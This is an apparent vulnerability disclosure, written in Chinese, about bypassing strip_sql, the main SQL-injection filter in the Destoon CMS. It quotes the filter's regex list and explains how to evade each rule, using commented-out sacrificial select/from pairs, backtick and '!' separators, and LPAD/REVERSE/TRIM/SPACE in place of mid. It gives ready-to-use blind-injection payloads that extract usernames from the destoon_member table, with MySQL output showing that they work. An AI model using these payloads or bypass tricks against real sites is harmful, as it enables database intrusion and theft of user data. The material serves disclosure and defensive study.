### 简要描述:
strip_sql是destoon主要的安全防御函数。主要防御大多数情况下的注入漏洞。这个函数如果可以被绕过。那么会引发多个位置的注入漏洞。
### 详细说明:
strip_sql函数位于 `\include\safe.func.php`,38行
```
function strip_sql($string, $type = 1) {
		$match = array("/union/i","/where/i","/having/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\{\(\+@`])/i","/update([\s\*\/\-\{\(\+@`])/i","/replace([\s\*\/\-\{\(\+@`])/i","/delete([\s\*\/\-\{\(\+@`])/i","/drop([\s\*\/\-\{\(\+@`])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/right[\s]*\(/i","/mid[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/bin[\s]*\(/i","/oct[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i","/conv[\s]*\(/i");
		$replace = array('union','where','having','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','right(','mid(','concat(','concat_ws(','make_set(','ascii(','bin(','oct(','hex(','ord(','char(','conv(');
		if($type) {
			return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string);
		} else {
			return str_replace(array('d', 'e', 'g', 'i', 'm', 'n','p', 'r', 's', 't', 'v', 'x'), array('d', 'e', 'g', 'i', 'm', 'n', 'p', 'r', 's', 't', 'v', 'x'), $string);
		}
	}
```
与之前提交的代码相比,`select from` 与 `select` 的位置进行了互换,过滤中加入了`accent`符号。过滤中还新加入了`right`,`mid`等函数。对于这些过滤。我们来一个个的绕过。
### `select from` 与 `select`
这个问题的绕过,还是使用上次的技巧。先给出利用语句。
```
/*select*/SELECT.``.ord/**/(mid(`password`,1,1))/*from*/from
```
过滤后是这样的
```
/*select*/SELECT.``.ord/**/(mid(`password`,1,1))/*from*/from `destoon_member` limit 1
```
首先是经过`/select([\s\S]*?)from/i`语句,会把第一个select和第一个from过滤。在这里我们需要牺牲这两个字符串,只有这样才能保全剩下的SELECT和FROM。
对于/select([\s\*\/\-\{\(\+@`])/i的过滤,我们也有办法:
```
技巧一:select.``.password from destoon_member
技巧二:select!1,password from destoon_member
```
### 函数过滤
strip_sql过滤了几乎所有的猜解字符函数,但是通过其他的技巧,还是可以绕过的。根据mysql的提示,函数与括号之间不能包含空格以外的字符,否则将此函数当成表名。那么我们接下来需要再找一些替代函数。我在这找到的是 LPAD、REVERSE、TRIM、SPACE,这4个函数组合起来,可以达到mid的目的
```
mysql> SELECT LPAD(REVERSE(TRIM( lpad('username',3,SPACE(1)) )),1,SPACE(1));
	SELECT MID('username',3,1);
	+---------------------------------------------------------------+
	| LPAD(REVERSE(TRIM( lpad('username',3,SPACE(1)) )),1,SPACE(1)) |
	+---------------------------------------------------------------+
	| e                                                             |
	+---------------------------------------------------------------+
	1 row in set
	
	+---------------------+
	| MID('username',3,1) |
	+---------------------+
	| e                   |
	+---------------------+
	1 row in set
	
	mysql>
```
拆分字符串之后,我们试着把字符串转为10进制。conv与括号之间加入注释符,依然是可以使用的。
```
mysql> select conv/**/('ad',16,10);
	+----------------------+
	| conv/**/('ad',16,10) |
	+----------------------+
	| 173                  |
	+----------------------+
	1 row in set
```
## 漏洞利用代码
猜解destoon_member里的username。
```
(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT 0,13)
```
这个是转换后的代码,依然可以执行:
```
(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223)
```
 
### 漏洞证明:
我们提交的原语句为
```
(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223)
```
过滤后的语句为
```
(/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223)
```
以下为测试SQL语句的可执行性
```
mysql> select (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223);
	+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
	| (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,223) |
	+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
	|                                                                                                                                                                              0 |
	+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
	1 row in set
	
	mysql> select (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,13);
	+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
	| (/*select*/SELECT!1,conv/**/(LPAD(REVERSE(TRIM( lpad(username,1,SPACE(1)) )),1,SPACE(1)),16,10)/*from*/from `destoon_member` ORDER BY userid limit 1)=(SELECT!1,13) |
	+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
	|                                                                                                                                                                             1 |
	+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
	1 row in set
```
 
                       
                       
        
          
暂无评论